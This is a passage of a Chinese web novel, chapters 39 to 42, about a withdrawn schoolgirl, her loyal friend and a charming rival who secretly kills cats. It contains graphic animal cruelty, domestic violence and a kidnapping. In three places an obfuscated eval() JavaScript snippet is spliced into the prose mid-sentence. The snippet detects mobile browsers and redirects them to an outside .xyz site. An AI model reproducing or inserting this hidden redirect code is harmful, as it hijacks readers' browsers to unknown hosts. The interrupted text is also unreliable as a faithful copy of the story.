宋景福眼圈泛红。 “你收集我的头发,我的指甲,我嘴巴碰过的一切东西……”你满意地笑了笑,“我把我胸罩送给你,好不好?” 宋景福不敢接话。 你吐出两个字,“变态!” - 他是变态,你也是变态。 你们都有美好的未来。 - 那天晚上,皎月高悬。你和他躺在老房屋顶。 你说:“我现在想邀请两个朋友一起看月亮,可以吗?” 你头一次这么客气,吓得宋景富一屁股坐起来,“谁?你还有朋友?” 你皱着眉,“严格来说,是一个朋友。但,也可以说是两个朋友。” 宋景富被你搞糊涂了,“现在吗?你朋友在哪?” 你指了指他的身后,“来了。” 宋景富转过头,身后空荡荡,除了夜风瑟瑟,什么也没有。 他知道你总爱逗他,转过头哼了一声,“你又耍我。” 你满脸肃穆,“就在你身后啊。你看不到吗?” 宋景富瞬时觉得身后冰凉一片。 “它们共享一条蛇尾。很长很粗的蛇尾。长得可以伸上天庭,粗得可以吞下万物。”你热切介绍着。 确实有什么扫过宋景富的脸,又凉又腻,似乎还有一抹腥味。 “它们是有点奇怪了。但也没那么奇怪,”你两眼簇亮,“它们只是比普通的蛇多了一个头而已。” 宋景富眨了眨眼。你常年木然的脸此刻露出生动鲜活的笑容,眉眼弯得比天上的月亮还好看。他不由自主看痴了。 “也不对。它们长了两个头,但是人头。” “最厉害的是,它们和我有着一模一样的脸。” 你激动地拉着宋景富的手,抚上其中一张人脸。 和你一样的弯弯眉眼,和你一样的嘴唇,只不过嘴里含着的不是圆圆的舌头,而是又长又细又红的蛇信。 蛇信卷起,缠上男孩的手。 手很冰。 “宋景富,你害怕了吗?” 宋景福摇摇头。 “为什么?” “你这么可爱,你的朋友一定也很可爱。” 39. 第39章 李重啊。 终于轮到方月华出场。 你准备好了吗? - 这厮在你的初二下学期,从广东转学至黔北市一中。 他长得高,长得帅,端庄的国字脸上透着满满正气,一看就是个好学生。 他英语好,演讲能力强,又会唱歌弹吉他,就连学习成绩也和你不相上下,一来便在全校掀起一股小旋风,上至校长,下到食堂阿姨,没有人不知道他,没有人不喜欢他。 若你站在一个孤僻孑然、幽黑寒冷的极端,那他便站在另一个极端,那里热闹非凡,明亮炙热,所有人都愿意靠近他。 除了你。 - 宋景富也被这股风吹动了,他不止一次在你面前提及方月华,大有从你麾下投身对方怀抱的趋势。 宋景福爱打篮球,却打得菜。方月华一上来就用一连串的三分球把他降服了。某天放学,他跟你说不想去老房子,想去打篮球。你平静地说去吧,转过身就让另一个同学去操场把他叫回来。理由是你突然肚子痛。 待宋景福满脸大汗地跑回来,你卧在老房天井下的躺椅上,摇着蒲扇冲他咯咯笑。 他手里拎着的止痛药、卫生巾、糖果,成了一个笑话。 大狗叹了口气,“你总爱骗我玩。” - 没过几天,你因为宋景富做错了一道你讲过三遍的题,把他骂得狗血淋头。 骂完后,你说,“我生气了。你得学狗叫哄我开心。” 宋景富最是听话,他连想都不想,立马汪汪叫了两声。 叫完嘀咕道:“方月华讲题的时候从不骂人。” 你不动声色地把这口气咽下去,翌日便在暗处如蛇般偷偷窥视方月华。 他果然如小太阳般,毫无差别地温暖每一个人。就连路边的狗也被他“佛光普照”,只要旺旺叫两声就能获得一根火腿肠。 这世界上怎么有人这么“圣母玛利亚”? 怎么能如此心平气和、气定神闲,从不生气…… 是活人吗? - 于是,你端着一杯热茶,佯装不小心摔倒,然后泼了他一身。 衣服冒着热气,而他眉头皱也未皱,还着急问你被烫到了吗?要不要去校医室? 你确实被烫到了。 他不急不躁,不怒不怨,浑身散发的光如暖阳般和煦,稍微靠近一点就能感觉到。 只要和他站一起,你便觉得自己是阴沟里的老鼠,扭曲阴暗,见不得光。 你越发要将这扭曲阴暗之事做足。 于是你严令禁止宋景福和方月华说话,就算碰面,眼神也不许交汇。 宋景福是有些怕你的,他点点头说好。 你当即赏了他一根火腿肠。 就像方月华“佛光普照”那条路边的野狗。 - 你彼时压根不知道怎么对一个人好,你没有参照物,没有学习对象,只想霸占宋景福,让他只看你,只和你玩,永远不反抗你。 所以当方月华出现在老房子门口时,你像被一道惊雷劈破身体,灼热的电流顺着四肢百骸疯狂喷涌,你快炸了…… 而方月华一脸轻松地越过宋景福,跨过门槛,走进天井,环视一周后笑道:“还真是一处隐秘的洞天福地啊。” 他无视你怒睁的双眼,回过头看着宋景福,“我说你天天一放学就溜得跟兔子似的,原来是来这里玩。我以后也经常来玩,好吗?” 他好像也看不到宋景福震惊害怕的表情,自顾自地继续说:“过几天就放暑假了,我到时候带两个冰镇西瓜过来,再带个超级大水桶,里面装满水,就可以边吃西瓜边玩水……多惬意啊。” “惬意你妈!”你破口大骂。 这下轮到方月华满脸震惊,还没等他反应过来,你像炮弹一样咻的一下弹到宋景福面前,对着他拳打脚踢,下手极狠。 “谁让你把他带来的?你凭什么把他带来?你他妈有什么资格?”你边打边咆哮,一群栖在树杈深处的老鸹都被你惊得飞起来。 宋景福怕伤到你不敢还手,只能用手捂住自己的头,“没,没有。不是我。我也不知道……” 你像被侵犯了领地的母狮子,压根听不进去,对着宋景福又打又咬。 还真是奇了怪了,按理说,“伟光正”的方月华应该第一时间把你们两个拉开,说一些同学之间要互相有爱的屁话,可他纹丝不动,反而抱着胸站在一旁看着你发疯。 你打累了,咬累了,这才弯着腰喘气。 余光处,一只脚出现。 头顶传来一道温柔的声音。 “李重,没想到你是这样的女生。” - 妈的!这绝对是挑衅! 贱人!他绝对是故意的! 你突然觉得暑假不再漫长无趣。 你开始跟踪方月华。 之前从宋景福的嘴里,你知道方月华父亲在广东办厂做生意,这学期他从广东转学回来……很奇怪,他学习又不差,为什么要从繁华的大城市回到偏远的山区老家? 会不会是被那里的学校开除的? 然而,整个暑假,方月华老老实实待在家里,不是帮母亲做家务,就是给邻居小孩教授英语。他甚至还在暑假又窜高了几厘米。 你每天定时定点蹲在他家对面的书店,搬个小板凳,边看言情小说边盯梢。你看书极快,一天能看两本言情。书店老板都看不下去了,劝你多读点有用的书,别整天情情爱爱的,万一搞出一个未婚先孕,将来后悔莫及。 你哦了一声,搬起凳子走到里屋门口当门神。老板生财有道,里屋摆着不能明说的专门为血气方刚少年准备的“好片子”。前来租借的学生非常多。 但凡来一个鬼鬼祟祟的男学生,你立马高声打招呼,“哎呀,来租黄片呢?你这周都来三回了吧。千万要注意身体啊,别整天只想这种事,万一身体被掏空了,连个孩子都生不出来。” 对方落荒而逃,逃得比兔子都快。 老板气得半死,直接把你“扫”出门。 - 临近开学时,方月华的父亲回来了。 你拿着宋景福从家里偷的望远镜,像个特工一样,趴在方家对街顶楼上窥视。 方月华的母亲在院子里进进出出,忙里忙外,招呼前来做客的亲戚朋友。这些人对方月华父亲毕恭毕敬,俨然把他当做家族主心骨。 方月华显然很害怕他父亲,平日里张扬洒脱的脸彼时浮着温顺卑怯。他一刻也不得歇,要么帮母亲炒菜做饭,要么主动添茶倒水,若是他父亲对他有点好脸色,他便干得更勤快更麻利了。 你在对面无声地笑了。 原来这也是条狗。 这场聚会持续到半夜,方月华父亲喝得脸红脖子粗,吼声巨大,大到你在对面也听得清清楚楚。 “我挣钱是为了什么?为了把咱们方家从黔北这个小地方带到广东的大城市。” “我是挣了很多钱。但那都是我辛辛苦苦喝酒喝出来的。你们是不是眼红?是不是想从我这里借钱?没门!当初我南下创业的时候,问你们借点路费都抠唆着不给,现在想沾我光了?” 你趴在栏杆上越听越想笑。 方月华母亲想上前劝两句,他父亲一巴掌把她打到地上,尤不解气,又上去踹了两脚。 你立马站直身体,冷冷看着对面。 方月华纹丝不动,其他人也纹丝不动,好似司空见惯般。 “你养条狗,也比生他强。以后别让他在我面前晃悠,我嫌丢人。” 男人被搀扶回房间,女人瘫坐在地上捂脸哭。 他们的儿子则像游魂一样走出了家门。 - 你瞬时没了兴趣。 还是那句话。谁又比谁幸福?谁又比谁高贵?来世上这一遭都是为了受苦罢了。 - 初三开学时,你发现方月华开始玩“天才”人设。 每天上课不听讲,不写题,连书本都不拿出来,趴在桌上要么装睡,要么看武侠小说。 但他考试每次都和你不相上下。 本来这与你无关,但有人看你不惯,非要跳到你面前说什么天才才是真的牛。你这样努力学习的人不过是多花了些时间。 妈的。简直就是屁话。 要不是你知道这小子每天晚上回家读书读到半夜,还真信了。 你立马重新跟踪方月华。 - 他在暑假养了一只橘猫。没事就抱着橘猫在院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623941|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里晒太阳。他母亲总爱趁他不在用脚踹猫,用手打猫,显然这女人非常讨厌猫。 开学没几天,他怀里的猫变成一只小白猫。 那只橘猫呢? 又过几天,他怀里的猫变成了一只牛奶猫。 你咪起眼睛,觉得事情又有意思了。 - 你不着急,在纸上写了几个字,悄悄塞进方月华的书本里。 你从书本的缝隙里看着他一脸迷惑地拿起那张纸条,几秒钟后他惊慌地扭过头来……扫视一圈后,把那张纸揉成了一团。 连着几天,你每天悄悄塞给他一张纸条,他那张端正的脸果然越来越难控制平和,甚至有一次对着班里几个纠缠他的花痴女生狠狠甩了书。 你笑疯了。 - 又过了几天,宋景福在你面前几次三番欲言又止。 你让他有屁快放。 他凑过来,几乎贴着你的耳朵,“有人在搞方月华!” 搞?这个词用的很微妙。 搞,也就是使坏,坑陷,听起来好像被搞的人是多么的无辜。 你很不喜欢这个词。黑就是黑,白就是白。被搞者如果没有缝,苍蝇哪能盯着他呢? 啊呸!你立马把这个不恰当比喻从脑海里赶走。 “谁在搞他?” 宋景福摇摇头,“他没告诉我。” “怎么搞他?” 宋景福依然摇头。 你迷起眼睛,方月华难道是憋不住了才找个傻子说道吗? “重啊,你上次让我给你找的望远镜,是用来干嘛的?”宋景福迟疑地问。 你一本正经,“我想看看那些天上飞的鸟,会不会一边飞一边拉屎?” - 从那以后,你觉察到方月华时不时偷瞄你。明明在和旁人说笑,他的两道目光却冷腻如蛇般粘在你身上。 妈的!你就知道。 只有宋景福被蒙在鼓里,还傻乎乎地帮方月华寻找“坏人”。 你这个“坏人”一点也不在乎,立马写了张纸条塞进嘴特别长的男生抽屉里。 没多久,大家看向方月华的眼神复杂起来。 宋景福一脸担忧地跟你絮叨。 “方月华怎么可能是装逼货?怎么可能是被广东的学校开除的?” 在他眼里,方月华就像他的名字一样皎洁如月,怎么可能有瑕疵呢? - 但,你没有其他更有力的把柄说服他。 直到那天晚上。 你躲在幽暗角落,瞅着方月华半夜不睡觉却抱着那只牛奶猫,钻进了高坪河旁边的一片小树林。 小猫微弱的叫声隐隐传来,你把眼睛瞪得大大的,也无月来也无星,只能看见影影绰绰的树影。 没过多久,方月华从树林里钻了出来,怀里空无一物。 你心中大喜,待方月华消失,便拿着手电筒也钻了进去。 正值深秋,落叶枯枝被你踩出嘎吱声,在幽冷的夜里越发震耳。 “喵喵~”你轻轻呼唤着。 回答你的只有簌簌风声。 忽然,一阵莫名的恶臭被风卷到鼻下,你立马捂住口鼻。 这厮不会在这里拉屎吧?! 手电筒的光束迅速四处探照,落叶枯枝里藏着避孕套、瓶子、烟头……以及一只被开了膛的牛奶猫。 - 你笑了起来。 逮到了! 你急步走过去,蹲下来扒开落叶。 牛奶猫浑身是血,流淌出来的内脏还冒着着热气,臭味扑鼻而来。 它刚刚被杀死,不应该这么臭。 你捡了一根棍把它戳开,它的身下还躺着一只已经长了蛆的猫尸…… “喵~” 突然一声尖锐的猫叫划破夜空,你立马站起来,却不小心踩到了猫尸坑。 柔软却异常恶心,它们散发的腥臭简直要把你腌入味。 你浑身鸡皮疙瘩骤起,连声大骂,“去死去死!都他妈死了还敢吓我!” “李重!” 有人在身后轻轻喊了你一声。 你猛然回头,看见了宋景福,以及站在他身后的方月华。 一只牛奶猫从他怀里探出了脑袋。 40. 第40章 李重啊。 你一直觉得自己是个变态,直到遇到方月华,你才发现,和他相比……你正常得可怕。 - 宋景福总是傻乎乎乐呵呵,极少有不愉快的情绪,在你面前更像个听话的大狗狗,你稍微跟他说两个字,他便高兴得尾巴翘上天。 然而那天晚上,在高坪河旁的小树林里,他和方月华肩并着肩站在你的对面,大大的眼睛里充斥着震惊、害怕、失望,泛红的眼角抖动着,你往前走一步,他立马往后退一步…… 那一瞬间,你突然发现嘴巴张不开了。 你沉沉地盯着他身后的方月华。 这人气定神闲地拿着手电筒,一抬手,强光直射在你的脸上……你像是被他拽到了一个巨大舞台上,一束拷问的光把你禁锢着,树林里藏着你小时候最讨厌的人形鱼干们,它们透过树枝盯着你,议论你,践踏你,然后毁灭你。 “竟然是你!”方月华满脸震惊,“李重,你不喜欢猫猫也就罢了,为什么要杀死它们?它们那么可爱,那么友好……” 你被他夸张的演技逗笑了,笑得前仰后合,笑声在幽冷的深夜显得越发狰狞。 宋景福异常难过,他嗫喏着,“李重,你别笑了!” “我早就发现你有问题!那些造谣我的话,都是你写的吧。”方月华把牛奶猫小心翼翼放在宋景福的怀里,然后从口袋里掏出一叠纸条,“要不是宋景福告诉我,我还不知道你竟然会模仿别人的字,同学们的字迹被你学得有模有样……” 你缓缓收住笑,“宋景福,你过来。” 对面的大狗狗一动不动。 你吸了一口气,忍住火,往前走了一步。 宋景福吓坏了,把牛奶猫紧紧贴到脸上,几乎哭着哀求,“李重,你别伤害它。别……” “你说过,不管我做什么,在你眼里都很可爱。”你的声音又轻又重。 宋景福耷拉着狗尾巴,低垂着头不吭声。 方月华以为你会大声喊冤,大哭大闹,没想到你压根没有多看他一眼,只顾着盯宋景福说什么可爱不可爱的屁话。 “我要告诉老师和同学,年纪第一的李重,竟然是个虐猫狂,”他一副正义战士姿态,“你要为所有被你虐杀的猫猫付出代价!” “哦。” 你终于肯看着他,却只轻飘飘地说了一个字。 “你被我们当场逮住,还这么嚣张?!” 你笑了,“你远在广东的爸爸要是知道你又在养猫,会不会飞回来打断你的腿?” 方月华脸色立马阴沉下来。 - 怎么办? 那种“要不去死一死”的念头此刻从你的心底再次翻涌上来。 怎么能这么无聊啊,怎么又出现一个说话不算话的人? 要是当初狠点心,不搭理他就好了。 你走到宋景福身旁,冷声道:“你就是条傻狗!” 说完不顾方月华叫嚣,径直踩着枯叶走了。 - 你懒得解释,也笃定方月华一定不敢告老师。 你又恢复为“独行客”。 上学放学,吃饭睡觉,陪着你的只有它们和你的影子。 宋景福则变成了方月华身边的“狗”,见到你避之不及,像看见了恶魔。 你无所谓。反正抛弃你的人这么多,不差他一个。 老房子还是那样幽闭,那样静谧,身处其中,外界的一切再与你无关。你窝在躺椅上,看着天井将无穷无尽的天扣下来这么小一块,供你呼吸,你躲在下面,像躲在另一种意义上的子宫里。 只是,以前你可以在这里躺很久,窝很久,现在你躺在这里,板结坚硬的心里却晃动着不知名的液体…… 满院的野草一夜之间疯长这么多,好像在嘲笑你,又好像在思念谁。 你拿起墙角的镰刀,薅住草根,毫不留情地割下去,割下去……不知过了多久,你抬起腰,汗顺着脸颊流入脖颈,你看到它们的蛇尾盘绕在墙垣上,两个长发人头探出来。 它们异口同声,“小可爱不可爱了哦!” - 宋景福成了方月华的“血包”。 他跟在方月华身后,在黔北大大小小的网吧、迪厅、滑冰场撒钱,撒得极其卖力,撒得特别有面。 方月华每天搂着他的肩膀,称兄道弟,又夸又哄,给足了足够的尊重。 方月华的成绩依然名列前茅,宋景福则一落千丈。 同样都是玩,有人成绩稳定保持,有人越来越烂,但凡有点脑子的,也知道初三是关键阶段,不该这么荒废。 你躲在阴暗处冷笑。 - 初三下学期的某天,你奶奶死了。 老太太花完了儿子的抚恤金后,这才施施然咽了气。姑姑们找上门来,以未离婚为由,要求你母亲回老家主持你奶奶的丧事。 这几个姑姑像是得了失忆症,忘了几年前老太太抢走抚恤金的“伟绩”,不承认母亲是她的儿媳,更是把你看做丧门星……她们一哄而上,堵在羊肉粉店门口,高举“道德伦理”旗帜,人死为大,过往不咎。 若是随你的性子,你会拿着羊腿刀,让她们有多远滚多远。可母亲哭得稀里哗啦,说自己忙着做生意,没有在婆婆生前悉心伺候,实在不配做李家的儿媳…… 姑姑们顿时觉得方才的狠话说早了,她们讪笑着让你这个初三生也一定要请假回去。 你虽是女孩,但好歹是你奶奶的孙辈,要代替野人爸爸打幡抱罐,引领送葬队伍前往墓地。 她们说这些话的时候,不停地强调,这个“岗位”应该由长子长孙担任,现在让你去,是没办法的办法,是不得已而为之,你该感恩戴德有这样的荣幸。 你点点头,“我一定送奶奶走好最后一程。” - 你母亲花了大价钱买了漂亮棺材,请了吹鼓手,请了大厨师,还把十里八乡非常有名的戏团也请来了。你奶奶生前爱排场爱炫耀,在她死后终于享受到了。 长长的席面从路这头排到那头,人人都道这个女人虽然没给李家生儿子,可她能挣钱,也算将功补过。 出灵那天,你披麻戴孝,怀里抱着个瓦罐。支客爷爷告诉你,你怀里这个瓦罐在你奶奶的棺材埋入地下后,会在算好的吉时被你摔碎,彼时里头会装满孟婆汤,你奶奶喝了后就能忘记前尘往事,踏上新的轮回。 忘记前尘往事? 怎么能有人一辈子做恶,还能拍拍屁股,轻松轮回? 支客爷爷看着你木然的脸,说:“娃儿,你得哭出来啊!你们孝子贤孙不哭,后面送灵的人会笑话的。” 你就是哭不出来,母亲上前狠狠拧了你一下,厉声道:“哭!” 你疼得眼圈泛红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629664|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是哭不出来。 母亲没办法,只得嗷嗷大哭起来,把你那份也哭出来。 - 铺着红色绸缎的棺材缓缓落入幽深的土坑,连绵不断的鞭炮声响彻山谷,姑姑们、母亲,还有你不认识却教育了你三天的各路亲戚们,哭着喊着,以诡谲恐怖的扑救姿态,要往坟坑里跳,佯装拦住缓缓下沉的棺材,他们样子越凄厉,越能显得他们的孝心大。 你没哭,也没扑。白幡很重,瓦罐很重,你盯着支客爷爷,他一边紧张地看手表,一边招呼着人把激动的亲属们往坟坑外拽……耳边全是哭声,奶奶与人世间最后的联系即将断绝。 你趁所有人不注意时,朝瓦罐里狠狠吐了三口唾沫。 在母亲花大价钱请算命先生定下的吉时未到时……你狠狠摔碎了瓦罐。 哭声戛然而止。 - 所有人看向你。 你缓缓低下头,越过空空的手掌,看向碎成渣的瓦罐。 “李重!”母亲大吼一声。 你眨了眨眼睛,忽然左右开弓,扇起自己的脸。 边扇边厉声吼,“奶奶要喝孟婆汤!你个王八羔子竟然没拿稳!” 声音高昂尖锐,像极了你奶奶的平时说话的样子。 而后你立马跳起来,扑到大姑面前,一巴掌挥过去,“死丫头,我藏在米缸里的钱是不是被你偷了?那是老娘买棺材的钱!” 骂完,你立马浑身抖动起来,双手一会朝天一会朝地,头发全散下来,一双狰狞发红的眼若隐若现。 所有人都吓坏了。 你又扑到二姑面前,不管不顾地扯住她,“你娘我死得惨啊!死那天想吃口羊肉粉都不肯给我做。让我做了个饿死鬼啊!” 你二姑面色发白,拼命想掰开你的手,但怎么都掰不开,你癫狂的样子像极了她爱发飙的老娘,她腿一软,扑通一声跪下来,抱着你的腿喊道:“妈,对不起!你放过我吧!我不该不让你吃那口羊肉粉!” 你随即松开她,扑跪在母亲面前,一改方才可怖模样,双手互相搓着,悲切地哀求,“庆芬啊,妈不该撞你的肚子,不该让两个娃娃早产,到手的孙子没了,妈才是李家的罪人!” 母亲死死盯着你,脸上的怒色渐渐凝固。 后面一群亲戚朋友们面面相觑,他们从不知道还有这样的密辛,总以为是朝贵媳妇肚子不争气,怀了双胎却死了一个。谁知道竟然是朝贵妈搞坏了事。 说不定就是那个死去的孩子阴灵不散,在这个节骨眼跑出来捣乱,把还没上路的奶奶从棺材里提溜出来,附身在妹妹身上。 “庆芬啊,庆芬啊,我儿子打你骂你是我这个当妈的没教好。是你天天辛苦摆摊挣钱,供着我儿子吃香喝辣,他就是个吃软饭的。妈在你最难的时候不愿意帮你,在他死后又把大部分抚恤金抢走,他们还逼你掏钱给我大办丧事,是我们李家对不起你,妈对不起你……这些话,妈要是再不说出来,就是喝了孟婆汤也没脸再轮回啊。” 你跪抱着母亲的鞋不停磕头,几乎把她摇得散架。 你句句揭露,字字道歉,哭到嗓子沙哑,喊到气虚力竭。 支客爷爷吓坏了,赶紧拿出一把五豆撒你身上,又念了一堆听不清内容的咒语……你突然浑身剧烈抖动起来,口中发出桀桀凄厉的叫声。 下一秒,你彻底瘫软了,昏迷了过去。 41. 第41章 李重啊。 你母亲认为你从出生时就带着些邪性。 你克死了哥哥,出生没多久你父亲的事业一落千丈。 再后来,老陀也死了,起因也是你莫名其妙朝他喊爸爸,继而惹来一堆祸事。 如今,你在你奶奶的葬礼上,被老太太附魂,喊出那些大家或多或少知道,却从不愿为你母亲说句公道话的事实,所有人都觉得你更邪性了,只有母亲知道你在演戏……通过这招为她坎坷的人生抱不平。 但她丝毫不承情,压根不需要。 因为。 只有你奶奶在吉时下葬,才能贡献她身为长辈的最后一点作用:保佑后代。 这个后代,自然只有你那死了的哥哥。 保佑死人? 也只有你母亲会这么想。 - 回过劲来的两位姑姑气得破口大骂,可也只敢骂在背后,因为她们也不知道你是怎么知道这些秘密,或许,你确实得了奶奶的一些“指使”? 这件事在你以全校第一名的成绩考入市一高后越发成为一种“传奇”。 大家都说,你被你奶奶“保佑”了。她埋得位置好,能出“文曲星”。 - 真他妈是个地狱笑话。 - 同时成为笑话的还有宋景富。 他中考考得极其地烂,烂到连市二高都上不了,只能上市五高。 方月华自然和你一起进入市一高,继续成为你的同学。 你对此非常厌恶,却无可奈何。 这人或许不是天才,但确实善于考试。 而且,你发现他拥有了新的“血包”:一个矿老板儿子。 旧血包宋景富被他抛弃了。 - 高中时,你需要住校,只有周日才能回家。 母亲巴不得你周日也别回来。这样她在那间主卧深切思念儿子时,就不用再看到你幽深嫉妒的目光。 你周日不能呆在学校,那套荒芜的老房子后来也彻底成了你的禁地,未再踏足,在母亲嫌弃的目光里,你只能骑上自行车在黔北城里溜达,要么去红山公园看完日出等看日落,要么去儿童公园和小孩抢免费滑滑梯,要么蹲到湘江河旁看老头钓鱼。 后来,你发现宋景富像个小尾巴似的老跟着你。 你骑快,他也骑快。你骑慢,他推着自行车走。他总跟着,却从不敢上前和你说话。 再后来,你故意钻进一家高档西餐厅,点了牛排和鹅肝,结账时,你两手一摊说没钱,对方让你把父母叫过来,你说他们都死了。老板气得要打电话报警,你转过身,看向那个躲在发财树后的人,你在等…… 宋景富期期艾艾走了出来,从口袋里掏出一叠钱,“别报警。我是她哥。” - 你还是不理他。 他不泄气,每个周日都会在何家巷巷口等着你。 你在前头吃糖葫芦,他在后面付钱,你要去儿童公园玩滑滑梯,他帮你提前占位,你去河边看老头钓鱼,他偷偷往你身后放零食。 交错,却不碰面。瞥见,却不说话。 直到有一天,本该准时出现宋景富不见了身影。 你那天从东城骑到西城,从南城骑到北城,漫无目的转了一整天后,最终骑到了宋景富的家门口。 你躲在角落里看了半天,最后还是拿起一颗石子,扔到了二楼东侧的窗户上……就像以前做过很多次一样。 然而无人应答。 待等到半夜,宋景富才从街巷的昏黄灯下走出来,额头冒血,衣服破烂。 你看到了他,他也看到了你。 你往前走了一步,他也往前走了一步。你又往前走了一步,他立马飞奔过来,又急又快,差点把你撞倒。 还真像与主人失散多年的狗。 你仰起头,看着他。 他头上两个尖尖的耳朵此刻可怜地耷拉着,眼尾处红通通的…… 大狗狗快哭了。 - “是谁打的你?”你冷声问。 “我的黑白配,”宋景富呜呜咽咽,“死了。” 你想起那天在高坪河旁的小树林里,那只消失又出现的牛奶猫,后来被方月华塞到了宋景富的怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629665|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是我杀的,行了吧,”你急声追问,“回答我,是谁打的你?” 宋景富不吭声。 “是方月华对不对?” 他还是不吭声。 “妈的!”你气急了,“他人在哪?” 宋景富紧紧箍住你的胳膊,“黑白配不是你杀的,之前那些猫也不是你杀的。” “怎么?被打了一顿,变聪明了?” 你仰起脸,大狗狗的额头渗着血。 宋景富拼命摇着头,“别找他。方月华是疯狗,会咬死人的。” - 疯狗?! 方月华确实是疯狗。 不知道是谁把宋景富每个周日追在你身后的事告诉了他。 这厮大清早带着几个人把宋景富“请”到郊外一个汽修厂。 臭布塞嘴,绳子捆身,宋景富被呼了几个巴掌后,这群人施施然走了,走之前,把那只他养了大半年的牛奶猫狠狠摔在了地上。 宋景富连蹦带跳地扑在小猫面前,手腕被死死绑在身后,他只能趴在地上用脸去蹭,去抚摸。 小猫躲过了上次,没躲过这次。小小的身躯躺在地上,不停抽搐着,凄惨的哀嚎声持续了一个小时才停止。 宋景富快疯了,用身体不停地去撞门,去喊,直到入了夜才有人过来开门。 那人还怪他说:“你们小年轻闹着玩也该有个分寸,好好的玩什么绑架游戏?” - 你牵着宋景富的手,把他带到了老房子。 天井下一盏“气死风”灯正摇曳着光,你轻轻吹了吹他额头的伤口,然后踮起脚,伸出舌头,轻轻舔舐着……你尝到了一抹铁腥味。 他没有闪躲,也没有反抗。像一座呆呆的雕塑,两个大眼睛直勾勾地盯着你,任由你吞噬他的血。 若是你张口让他把全部的血都贡献出来,你相信,他会答应。 像是另一种形式的歃血为盟,你显露出从未有过的温柔。 温柔的舌尖,温柔的眼神,温柔的身体,以及温柔的恐吓。 你说:“疯狗就该被乱棍打死。” 42. 第42章 李重啊。 当宋景富像条可怜大狗回到你身边时,你吐出了满意的喟叹。 同时,你也很厌恶。他曾经那么果决地抛下你,相信了方月华那条疯狗的话。 但你又是寂寞的。 日子太过无聊,太过无趣,难得你死寂的心为他起了浅浅的涟漪,你便努力将这点涟漪再搅大些。 - 宋景富以为你舔了他的脸,吞了他的血,他和你便有了不一样的关系。 在某个周六下午,他骑着帅气的自行车出现市一高门口,意图接你放学。 你走出校门时,他挥舞着手喊得格外亲切,“重!重重!” 你瞥了他一眼,立马撤了回去。 待天黑灯亮,你瞧见方月华和他的一群跟帮晃晃悠悠出现,这才像是无意间遇到似的,跟在他们身后走出了校门。 宋景福一直没走,极速骑到你身边,压低声音说:“不是说好,咱们不再招惹那条疯狗了吗?” 你抿了下唇,立马推了他一下,大声吼道:“你才是疯狗!拜托你不要再缠着我。” 说完,颤抖着往后缩,还不忘回头可怜兮兮地看了一眼不远处的方月华。 他面色沉郁,嘴上擒着一抹冷笑。 宋景富一脸懵,往前走了两步,试图箍住你的胳膊,“重重,你怎么了?” 你像是被他的样子吓到,“你松开我!不要碰我!” 说着,一不小心趔趄了一下,身体往后直直倒去。 下一秒,果然有宽大的怀抱搂住你。 你抬起头,瞧见方月华那张端正的脸,你说:“帮帮我。” - 宋景富再也没来找过你。 - 向来冷漠、倔强、目空一切的你,竟然对着死对头方月华说帮帮我。 这点极大满足了他的虚荣心。 但他不傻。 本性难移,故态难改。 他怎么能相信你无缘无故向他服软呢? 你说,初中那么多女孩子喜欢他,绕着他,你怎么能不喜欢他?只可惜你除了学习成绩外一无是处,只能躲在阴暗处偷窥他。 你说,你当初故意造谣你,是因为因爱生恨,其实还是因为爱之深切。 你说,你不是坏女孩。你从没虐猫,也不知道那些猫是谁杀的。 你头一次低下高扬的头颅,在他面前期期艾艾地说着话。 一副又恼又羞的模样,在他眼里格外新奇。 你知道,方月华一看就有变态的掌控欲,不然也不会得知宋景富又开始当你的小尾巴后把他狠狠收拾了一顿。 而你,在他眼里极难掌控。 现在你深切地剖析自己的卑微和无能,让他的心尖尖颤抖不已。 那一刻,他的自尊心得到了最充分的抚慰。 于是,他顺势提出要做你的男朋友。 你抬起头,满脸欣喜,问:“真的吗?” - 答应做方月华女朋友的那天,你从母亲处偷走了那把燧石刀。 你一面扮演难得一见的娇羞可爱,一面心里冷冷看着方月华得意洋洋的狗样子。 你很喜欢这种割裂的方式。 以至于,多年后,你和方月华成为真正的夫妻,扮演起恩爱伴侣也毫无障碍。 你并非大美女,但肯定不丑。 尤其你继承了母亲的姣好身材,即便穿上丑兮兮的校服,也挡不住方月华总是飘向你胸口的眼神。 刚开始,你被摸了手,你忍住打翻他的冲动。 后来,你被堵在墙角,他嬉笑着让你主动香他一口。 你立马嘤嘤哭了起来。 你说你小时候被男人猥亵过,对男人有非常深的阴影。对方月华动心,甚至敢把喜欢说出口,已经是天大的突破。香一口这种行为,你目前实在不能接受。 方月华烦躁地挠着头,“那要我等到什么时候?” 